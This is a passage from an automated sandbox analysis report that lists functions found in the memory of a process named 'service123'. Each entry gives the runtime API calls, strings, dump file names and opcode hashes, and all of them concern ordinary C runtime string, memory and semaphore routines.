memcpy.MSVCRT(?,?,?,?,?,?,6C1D997F), ref: 6C1DB3A1
memcpy.MSVCRT(00000000,?,?,6C1D997F), ref: 6C1DB3E8

Strings

basic_string::assign, xrefs: 6C1DB403

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: 79e35e0e3d199d76e55c3e413bbe8574383271a1a44a2c4580e15a3c04894196
Instruction ID: 3948a54ae7d057477e8bc88561af4f0a3a649fb8d1962e4b34df25c23fb03ae4
Opcode Fuzzy Hash: 79e35e0e3d199d76e55c3e413bbe8574383271a1a44a2c4580e15a3c04894196
Instruction Fuzzy Hash: 7B519B71B0A6119BD714DF29C48461EFBE1FF95709F12C66DE8868B714E730E805CB82

Function 6C1E4410 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C1E4471
memcpy.MSVCRT ref: 6C1E44DF
memcpy.MSVCRT ref: 6C1E4518

Strings

basic_string::assign, xrefs: 6C1E4534

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::assign
API String ID: 1283327689-2385367300
Opcode ID: 24826a1215edd9ac4620ab63828832a7ed36fdb025a25a44ae9853a988771747
Instruction ID: 8152ecfd49b8230a55e2b704da906c02c4d9aa9a6d7025553c1daa3754cda5cc
Opcode Fuzzy Hash: 24826a1215edd9ac4620ab63828832a7ed36fdb025a25a44ae9853a988771747
Instruction Fuzzy Hash: D6519B71B0AA118FD711DF68D48461AFBF5BF9A318F118A6DE885CB718E730D805CB82

Function 6C19E980 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C19E9AA
wcslen.MSVCRT ref: 6C19EA1A

Strings

basic_string: construction from null is not valid, xrefs: 6C19E9E2, 6C19EA52, 6C19EAC2

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlenwcslen
String ID: basic_string: construction from null is not valid
API String ID: 803329031-2991274800
Opcode ID: 70b1dbab51b538a9c5b78558157930b47657b6ff7dcc6515fd1c9c7acb70f43d
Instruction ID: db73f06cc945c62915ecf9dcf92c070c190034206ff49ff1a2daa8e6abe7ad00
Opcode Fuzzy Hash: 70b1dbab51b538a9c5b78558157930b47657b6ff7dcc6515fd1c9c7acb70f43d
Instruction Fuzzy Hash: 11416DF1A196148FCB00EF2CD48184ABBE0BF55218F56497DE8858B715E331E999CBD2

Function 6C19E581 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C19E5AD
strlen.MSVCRT ref: 6C19E5FD

Strings

basic_string: construction from null is not valid, xrefs: 6C19E5CF, 6C19E61F, 6C19E66F

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid
API String ID: 39653677-2991274800
Opcode ID: 106e44e6e80049d25077464a1c3c8d6b3a957959c06518203513fd559989b938
Instruction ID: cde389d94c6fb151b219d103602aea5382c51728f492ec8203b980743a8a45e8
Opcode Fuzzy Hash: 106e44e6e80049d25077464a1c3c8d6b3a957959c06518203513fd559989b938
Instruction Fuzzy Hash: BB3182B1A1A3548FCB00EF2CC48188ABBE4BF15618F46496DEC848B711D735EC59CBA2

Function 00057C40 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00057C92
MultiByteToWideChar.KERNEL32 ref: 00057CD5

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 073e6e977f196f7e8b9af81fb9b984c5565e7c25edbf655183722fd581222e89
Instruction ID: e5c2350ded477267869a1d021857a0d6b236558e44ae46bea422ebb226b7c579
Opcode Fuzzy Hash: 073e6e977f196f7e8b9af81fb9b984c5565e7c25edbf655183722fd581222e89
Instruction Fuzzy Hash: B131F2B050D3418FD750DF28E58426BBBF0BF85315F04891DE8988B351E7B6D949DB92

Function 6C189660 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6C1896B2
MultiByteToWideChar.KERNEL32 ref: 6C1896F5

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: da4c6f6122204099acd2f09e6e065bd49d79ed6286bcb8ecc37c0ddefc4d0cee
Instruction ID: 213bb0f1306c3fbd98774ac329f1194a4931b08093e729a5a09323155736a65b
Opcode Fuzzy Hash: da4c6f6122204099acd2f09e6e065bd49d79ed6286bcb8ecc37c0ddefc4d0cee
Instruction Fuzzy Hash: 9B31E5B450E3418FDB00DF29E59424ABBF0BF96318F14895DE8988B691D3B6D949CF82

Function 6C17F511 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C17F5C1

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: eab92e03dbfa3f6412683229373ea992dd1ff15fc627acf66a7cab364c56802c
Instruction ID: 698b4b12f7e7218aee88dec31296544d7b8843b1ae86f9e63ec0829d4760058f
Opcode Fuzzy Hash: eab92e03dbfa3f6412683229373ea992dd1ff15fc627acf66a7cab364c56802c
Instruction Fuzzy Hash: 93411770A09301CFDB24EF2AD5883177BF0BB46728F158658EC684B694DB35D946CBA2

Function 6C17F6B0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C17F751

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: 8821c7263cc9a632aa69cf160c14a25e3d277cd9296057a3b9e5c1b11e303b1d
Instruction ID: aa296235349f0be532e5c29219ad0fdad75a0b777fb7eba9326ecacb32a76b16
Opcode Fuzzy Hash: 8821c7263cc9a632aa69cf160c14a25e3d277cd9296057a3b9e5c1b11e303b1d
Instruction Fuzzy Hash: 6E314A70A053008FDB20AF6AC58C3177BF0BB46729F15825DEC684B6D4DB35D945CBA2

Function 6C17F9D1 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C17FA72
CreateSemaphoreW.KERNEL32 ref: 6C17FAB7
WaitForSingleObject.KERNEL32 ref: 6C17FB00

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 98cdf8e4eb6b51aa8e76f5e6919cb5d3f5551b8693a4eedc7dddede7d7e17c17
Instruction ID: 6488f791a8cc78c6bbc250ab31035f648cd77f0517b6c76700243f62a998221c
Opcode Fuzzy Hash: 98cdf8e4eb6b51aa8e76f5e6919cb5d3f5551b8693a4eedc7dddede7d7e17c17
Instruction Fuzzy Hash: 7231D570A093018FDF24EF2AC5983177BF0BB4A719F158659EC688B384DB35D945CBA2

Function 6C17FB60 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C17FBF2
CreateSemaphoreW.KERNEL32 ref: 6C17FC37
WaitForSingleObject.KERNEL32 ref: 6C17FC80

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: d4b0442ebb40f4021eb63fd6af878163e3e2284e7a497512269cf517f59fb065
Instruction ID: bbd33147b9b0058f66a68512d69d6b4003717d8a33b6bfaa83115314f4170685
Opcode Fuzzy Hash: d4b0442ebb40f4021eb63fd6af878163e3e2284e7a497512269cf517f59fb065
Instruction Fuzzy Hash: AC31E5706093018FDB14AF2AC58C7177BF0BB46769F158258EC688B2C4DB35D945CBA2

Function 6C1755A8 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C1772FE

Strings

{parm#, xrefs: 6C1772D9
}, xrefs: 6C177392
this, xrefs: 6C1755B3

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: e38cf3ab81d95236da1e6f2fbaa93b456a00bb9af740e61e93df26027780c6f9
Instruction ID: a23e689bf6ac740cd2bd36237823337ea061569a89fead8ce3a0df869e9d3440
Opcode Fuzzy Hash: e38cf3ab81d95236da1e6f2fbaa93b456a00bb9af740e61e93df26027780c6f9
Instruction Fuzzy Hash: 98215E7154D2428FD7228F24C0843AABBA1EF95304F19C5BEDCC84FA4AD77994858BA2

Function 00051001 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0005106B
__p__fmode.MSVCRT ref: 00051070
__p__commode.MSVCRT ref: 0005107D

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: 8f0a98e1762dcbbb8495f116cb51f661306be0a2fad89ff33ffac1739fa8790d
Instruction ID: 759c7790fa8e7b658f7f40c4a49d5a8baa3747c42706e8927e27d83f63d76ab0
Opcode Fuzzy Hash: 8f0a98e1762dcbbb8495f116cb51f661306be0a2fad89ff33ffac1739fa8790d
Instruction Fuzzy Hash: 7D213B70504301CBD764AF20D8153EB37E1BB00346F95A56AC8584B2E6E7BAD8CADB91

Function 6C1E9F70 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C1E9F85
strlen.MSVCRT ref: 6C1E9F8F
memcpy.MSVCRT ref: 6C1E9FB8
setlocale.MSVCRT ref: 6C1E9FCC

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: a6b3bcf2e760bc12fd22927fec2202fb20c31c7dda723daaca70d685128f37db
Instruction ID: dc0a9908e58e610b08348ac22115063c669c9f9077a5a9189a6b184e5b9c4916
Opcode Fuzzy Hash: a6b3bcf2e760bc12fd22927fec2202fb20c31c7dda723daaca70d685128f37db
Instruction Fuzzy Hash: 2BF0D4B150E3159AD3007F6894953AFFAE4EF84788F418D5DE4D98B750E77888488B92

Function 00054558 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

@, xrefs: 00054647
u, xrefs: 00054596

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: 443b69f423d64bce3187483f6880eb3214dc3f06ae4513a2f5093e0edf5386e2
Instruction ID: 4051185b0148a9a29f6c7d7c10a2adf59dde808b657a5adfc812f0b21e94ec5b
Opcode Fuzzy Hash: 443b69f423d64bce3187483f6880eb3214dc3f06ae4513a2f5093e0edf5386e2
Instruction Fuzzy Hash: D4A16B315083958BDB718F24C0803EBBBE1BB8535AF158A1DECD997242E735D98DDB82

Function 6C184C28 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

u, xrefs: 6C184C66
@, xrefs: 6C184D17

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: @$u
API String ID: 0-1583100103
Opcode ID: fadd9e0a02b5d2f5dbac4eb05729629abdb79adec3a5d9939ed07210757df84b
Instruction ID: 6c92de91039a60ab7dcd5a834bd17f1a7fc40e3406d845fad057bd213dcb41cf
Opcode Fuzzy Hash: fadd9e0a02b5d2f5dbac4eb05729629abdb79adec3a5d9939ed07210757df84b
Instruction Fuzzy Hash: D9A19F7160E3958BD721CF25C0A039ABBE9BF86318F15861DE8D987781DB38D549CF82

Function 00054C21 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00054DBE

Part of subcall function 00052830: fputc.MSVCRT ref: 000528F8

Strings

@, xrefs: 00054647
(null), xrefs: 00054C27

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: 3412e1a968ee35e96b6e5a2472f14b015dddcd5ece72d3b277bc17c3dcee7bed
Instruction ID: c2b3e2070a086e03714fcd208f5d36fe3a6a1c8c83e2918826d312f434adf8a7
Opcode Fuzzy Hash: 3412e1a968ee35e96b6e5a2472f14b015dddcd5ece72d3b277bc17c3dcee7bed
Instruction Fuzzy Hash: 35918D356083558BDB718F2480803EBBBE1BF8575AF158A1DECD887242E735D98D9B42

Function 6C1852F1 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C18548E

Part of subcall function 6C182F00: fputc.MSVCRT ref: 6C182FC8

Strings

(null), xrefs: 6C1852F7
@, xrefs: 6C184D17

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: fputcwcslen
String ID: (null)$@
API String ID: 1336801768-1380778734
Opcode ID: f2dfdaf573e33103648754d1604a42a0446dde45b84ca31ce45fa2045f3fdf66
Instruction ID: a073f104520c1fbbd3161220ad25e484c3e6ca66e156babd5e4753cb62f32811
Opcode Fuzzy Hash: f2dfdaf573e33103648754d1604a42a0446dde45b84ca31ce45fa2045f3fdf66
Instruction Fuzzy Hash: F7919E7160E3558BD721CF24C0A039ABBE9BF86318F15861DE8D987781DB39D509CF82

Function 6C205DB0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C205DEA
wcslen.MSVCRT ref: 6C205E7C
wcslen.MSVCRT ref: 6C205F0E
strlen.MSVCRT ref: 6C205FA0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: ab4414bd45aca0d53a198e8ffed50c6bfe28fb7951aee73fafa6b428a6cb10ad
Instruction ID: 0c2f377cd6d74bc45c6dcc1bffc04e79d205149ae65d7217bd5088143e377128
Opcode Fuzzy Hash: ab4414bd45aca0d53a198e8ffed50c6bfe28fb7951aee73fafa6b428a6cb10ad
Instruction Fuzzy Hash: 4BF14BB4A0560A8FC704DF6CC0C4AAEBBF1BF48314B118669EC94DB755E735E985CB81

Function 6C2055D0 Relevance: 5.4, APIs: 4, Instructions: 369stringCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C20560A
wcslen.MSVCRT ref: 6C20569C
wcslen.MSVCRT ref: 6C20572E
strlen.MSVCRT ref: 6C2057C0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 89a35d1ab6f0bec718b00c5c4852ec3139d04b6fff5e6d418ab330d991bbc639
Instruction ID: a032be31ed8249d497ae9312db313a654825cfffa05e260c7101bfc6c745d1f2
Opcode Fuzzy Hash: 89a35d1ab6f0bec718b00c5c4852ec3139d04b6fff5e6d418ab330d991bbc639
